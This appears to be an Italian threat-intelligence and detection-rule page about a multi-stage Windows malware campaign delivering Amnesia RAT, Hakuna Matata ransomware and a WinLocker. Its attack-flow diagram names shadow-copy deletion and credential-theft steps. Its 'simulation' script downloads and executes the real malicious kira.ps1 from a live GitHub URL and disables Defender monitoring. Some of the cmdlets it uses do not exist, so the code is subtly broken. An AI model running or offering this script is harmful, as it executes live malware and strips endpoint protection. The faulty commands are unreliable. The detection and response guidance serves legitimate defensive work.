All’interno di un’Operazione Malware Multi-Fase su Windows
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
FortiGuard Labs ha identificato una catena di intrusione multi-stage su Windows che inizia con un file LNK malevolo consegnato all’interno di un archivio compresso. Il collegamento avvia un loader PowerShell iniziale che scarica script successivi da GitHub e successivamente passa il controllo a un orchestratore VBScript offuscato. Il flusso di lavoro tenta quindi di indebolire le difese dell’endpoint disattivando Microsoft Defender, distribuendo l’utilità Defendnot e mettendo in scena sia Amnesia RAT che ransomware Hakuna Matata. L’operazione si conclude lasciando cadere un componente WinLocker che blocca il desktop per interrompere il recupero e mettere pressione alle vittime.
Indagine
Gli investigatori hanno ricostruito il percorso di esecuzione dallo stadio PowerShell attivato da LNK a un VBScript che ricostruisce i payload in memoria, culminando nel dispiegamento di ransomware e nel comportamento di blocco del desktop. Le misure difensive sono state bypassate tramite modifiche mirate al registro e iniettando una DLL Defendnot in Taskmgr.exe. La persistenza è stata implementata utilizzando una combinazione di voci di chiavi Run e artefatti nella cartella Startup per riattivare la catena dopo il logon.
Mitigazione
Monitora cambiamenti sospetti a livello di politiche nel registro sotto HKLMSOFTWAREPoliciesMicrosoftWindows Defender e HKCUSoftwareMicrosoftWindowsCurrentVersionPolicies. Blocca le uscite verso noti URL malevoli di GitHub e Dropbox utilizzati per la messa in scena, e allerta su modelli di download ed esecuzione di PowerShell originati da lanci di LNK. Imporre una lista di applicazioni consentite e rafforzare i controlli di esecuzione di PowerShell per ridurre l’accesso iniziale basato su script.
Risposta
Se rilevato, isola l’endpoint, ripristina le impostazioni del registro relative a Defender a uno stato noto come buono, e rimuovi i file malevoli e le voci di persistenza. Caccia i processi Amnesia RAT attivi e l’attività di rete associata, e verifica se è avvenuta l’esecuzione del ransomware. Esegui una triage forense completa per determinare l’impatto e sradicare i resti, quindi recupera i sistemi da backup puliti ove possibile.
graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff6666 %% Node definitions step_a[“<b>Azione</b> – <b>T1566.001 Phishing: Allegato</b><br/>File LNK ‘Задание_для_бухгалтера_02отдела.txt.lnk’ all’interno di un archivio compresso”] class step_a action step_b[“<b>Azione</b> – <b>T1059.001 PowerShell</b><br/>Il file LNK avvia PowerShell con -ExecutionPolicy Bypass per scaricare lo script ‘kira.ps1’”] class step_b action step_c[“<b>Azione</b> – <b>T1027 File o Informazioni Offuscate</b><br/>VBScript ‘SCRRC4ryuk.vbe’ codificato con Script Encoder Plus, Base64 e RC4”] class step_c action step_d[“<b>Azione</b> – <b>T1562.001 Compromissione delle Difese</b><br/>PowerShell disabilita la protezione in tempo reale di Microsoft Defender e aggiunge ampie esclusioni del file system”] class step_d action step_e[“<b>Azione</b> – <b>T1218.010 Esecuzione Proxy tramite Regsvr32</b><br/>La DLL Defendnot e il loader vengono distribuiti e iniettati nel processo attendibile Taskmgr.exe”] class step_e action step_f[“<b>Azione</b> – <b>T1548.002 Bypass del Controllo Account Utente</b><br/>Viene utilizzato un ciclo ShellExecute runas per ottenere privilegi elevati”] class step_f action step_g[“<b>Azione</b> – <b>T1547.001 Chiavi Run del Registro / Cartella di Avvio</b><br/>Crea una voce in HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run e copia ‘svchost.scr’ in %PROGRAMDATA% e nella cartella di Avvio dell’utente”] class step_g action step_h[“<b>Azione</b> – <b>T1082 Individuazione delle Informazioni di Sistema</b><br/>Raccoglie informazioni su sistema operativo, hardware, dominio e IP tramite WMI”] class step_h action step_i[“<b>Azione</b> – <b>T1057 Individuazione dei Processi</b><br/>Enumera i processi in esecuzione per evitare esecuzioni duplicate”] class step_i action step_j[“<b>Azione</b> – <b>T1113 Acquisizione dello Schermo</b><br/>‘TelegramWorker.scr’ cattura schermate (1.png–30.png) e le invia tramite Telegram”] class step_j action step_k[“<b>Azione</b> – <b>T1555 Credenziali da Archivi di Password</b><br/>Estrae password e cookie dai browser Chromium utilizzando DPAPI”] class step_k action step_l[“<b>Azione</b> – <b>T1539 Furto di Cookie di Sessione Web</b><br/>Raccoglie cookie e token dai browser”] class step_l action step_m[“<b>Azione</b> – <b>T1550.004 Utilizzo di Materiale di Autenticazione Alternativo</b><br/>Dirotta i file di sessione di Telegram Desktop dalla directory ‘tdata’”] class step_m action step_n[“<b>Azione</b> – <b>T1102.002 Servizio Web</b><br/>Invia i dati raccolti e le schermate all’attaccante tramite l’API Bot di Telegram”] class step_n action step_o[“<b>Malware</b> – <b>T1486 Dati Cifrati per Impatto</b><br/>Il ransomware Hakuna Matata ‘WmiPrvSE.scr’ cifra i file con estensione @NeverMind12F”] class step_o malware step_p[“<b>Azione</b> – <b>T1490 Inibizione del Ripristino del Sistema</b><br/>Esegue ‘reagentc /disable’, ‘wbadmin delete catalog’, ‘vssadmin delete shadows /all’”] class step_p action step_q[“<b>Malware</b> – <b>T1499 Negazione di Servizio sull’Endpoint</b><br/>WinLocker ‘gedion.scr’ crea il mutex WINLOCK… e blocca il desktop”] class step_q malware %% Connections step_a –>|leads_to| step_b step_b –>|leads_to| step_c step_c –>|leads_to| step_d step_d –>|leads_to| step_e step_e –>|leads_to| step_f step_f –>|leads_to| step_g step_g –>|leads_to| step_h step_h –>|leads_to| step_i step_i –>|leads_to| step_j step_j –>|leads_to| step_k step_k –>|leads_to| step_l step_l –>|leads_to| step_m step_m –>|leads_to| step_n step_n –>|leads_to| step_o step_o –>|leads_to| step_p step_p –>|leads_to| step_q
Flusso di Attacco
Rilevamenti
Processo Sospetto Utilizza un URL nella Riga di Comando (via cmdline)
Visualizza
Disabilita il Monitoraggio Realtime di Windows Defender e Altre Modifiche alle Preferenze (via cmdline)
Visualizza
IOC (HashSha256) da rilevare: In una Campagna Malware Multi-Stage su Windows
Visualizza
Attività di Rete Malevola e C2 via GitHub, Dropbox, Telegram [Connessione di Rete Windows]
Visualizza
Esecuzione PowerShell nella Campagna Malware su Windows [Powershell di Windows]
Visualizza
Esecuzione di PowerShell e CMD con Install.exe come Esche [Creazione del Processo Windows]
Visualizza
Esecuzione di Simulazione
Prerequisito: Il Controllo Pre-Flight di Telemetria & Baseline deve essere superato.
Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e il racconto DEVONO riflettere direttamente i TTP identificati e mirano a generare esattamente la telemetria prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.
-
Narrazione dell’Attacco & Comandi:
Un avversario che ha ottenuto un primo appoggio sull’endpoint desidera scaricare ed eseguire un payload PowerShell malevolo mentre evita la politica di esecuzione predefinita. UsanoInvoke‑Expression(iex) combinato conInvoke‑WebRequest(irm) per estrarre uno script da un URL raw di GitHub remoto, eseguendolo sotto-ExecutionPolicy Bypass. Dopo aver stabilito la persistenza, disabilitano il monitoraggio in tempo reale di Windows Defender per evitare il rilevamento di payload successivi. Questi passaggi generano direttamente le stringhe di comando che la regola Sigma monitora. -
Script di Test di Regressione:
# -------------------------------------------------------------- # Passaggio 1: Esegui lo script remoto con ExecutionPolicy Bypass # -------------------------------------------------------------- $maliciousUrl = "https://github.com/Mafin111/MafinREP111/raw/refs/heads/main/ps1/kira.ps1" powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "irm '$maliciousUrl' | iex" # -------------------------------------------------------------- # Passaggio 2: Disabilita il monitoraggio in tempo reale di Windows Defender # -------------------------------------------------------------- # Disabilita la protezione in tempo reale Disable-MpPreference -DisableRealtimeMonitoring $true # Aggiungi un percorso di esclusione (simulato) Add-MpPreference -ExclusionPath "C:TempExcludeFolder" -
Comandi di Pulizia:
# Riabilita il monitoraggio in tempo reale di Windows Defender Enable-MpPreference -DisableRealtimeMonitoring $false # Rimuovi il percorso di esclusione (se esiste) Remove-MpPreference -ExclusionPath "C:TempExcludeFolder" -ErrorAction SilentlyContinue # Ferma eventuali processi PowerShell rimanenti avviati dallo script Get-Process -Name powershell | Where-Object {$_.StartInfo.Arguments -match 'kira.ps1'} | Stop-Process -Force